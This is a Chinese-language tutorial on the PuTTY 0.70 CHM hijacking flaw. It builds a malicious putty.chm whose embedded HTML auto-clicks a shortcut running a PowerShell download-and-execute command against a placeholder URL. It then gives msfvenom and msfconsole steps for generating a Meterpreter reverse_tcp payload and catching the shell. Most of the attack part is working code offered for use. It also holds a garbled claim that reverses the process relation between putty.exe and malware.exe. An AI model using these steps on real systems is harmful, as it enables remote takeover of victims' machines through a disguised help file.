通过 CHM 劫持实现潜在的恶意代码执行
在 0.70 及更早版本中,当你在任何 Windows PuTTY GUI 工具中启动在线帮助时,该工具会通过在其可执行文件所在目录中查找帮助文件。
如果你从一个无关代码可以放置文件的目录中运行 PuTTY(例如,直接从浏览器的默认下载目录运行),这意味着如果有人设法将一个名为 putty.chm 的文件放入该目录(例如,诱使你点击同名的下载链接),那么 PuTTY 会认为它是真正的帮助文件,并将其提供给 htmlhelp.exe。
这是一个漏洞,因为 HTML 帮助文件(.chm)可以进一步运行它们选择的代码,例如通过嵌入一个 HTML 元素(该元素是一个 Windows 快捷方式)以及用于点击它的 Javascript。
更多详情:https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM 是编译 HTML 文件格式的扩展名,最常用于 Microsoft 基于 HTML 的帮助程序。它可以包含多个压缩的 HTML 文档以及它们链接的图像和 JavaScript。CHM 功能包括目录、索引和全文搜索。
过去,威胁行为者曾使用 CHM 文件来投放后门文件,这种技术常用于定向攻击。
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
我们需要 HTML Help Workshop 工具包来创建 CHM 文件。安装后,启动 HTML Help Workshop 工具。
点击 File > New > Project,然后按照以下步骤操作:
创建 HTML Help 项目
新项目界面 > Next > Browse
指定你的项目文件名称以及你希望创建的位置。
填写文件名:putty 并点击“Open”
指定你的 HTML Help 项目
选择 HTML 文件(.htm)
指定你的 .htm 文件所在位置。
点击 Add.. 按钮,选择一个已创建的目录用于存放你的恶意文件,例如 putty.htm
选择一个 HTM 文件
向导创建一个新的 HTML Help 项目。我们需要做一些修改。
在工具中,双击创建好的 htm 文件进行编辑,然后插入以下代码以创建一个基本的帮助文件:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
创建恶意文件
如何为 Windows 创建一个简单的 TCP Meterpreter 载荷?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
当你双击帮助按钮时,putty.exe 会作为 malware.exe 的子进程生成,而 malware.exe 是 CHM 二进制文件的解释器。(你的恶意 putty.chm 和 putty.exe 文件应放在同一目录下)
生成恶意软件
如何获取 meterpreter shell?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
资源: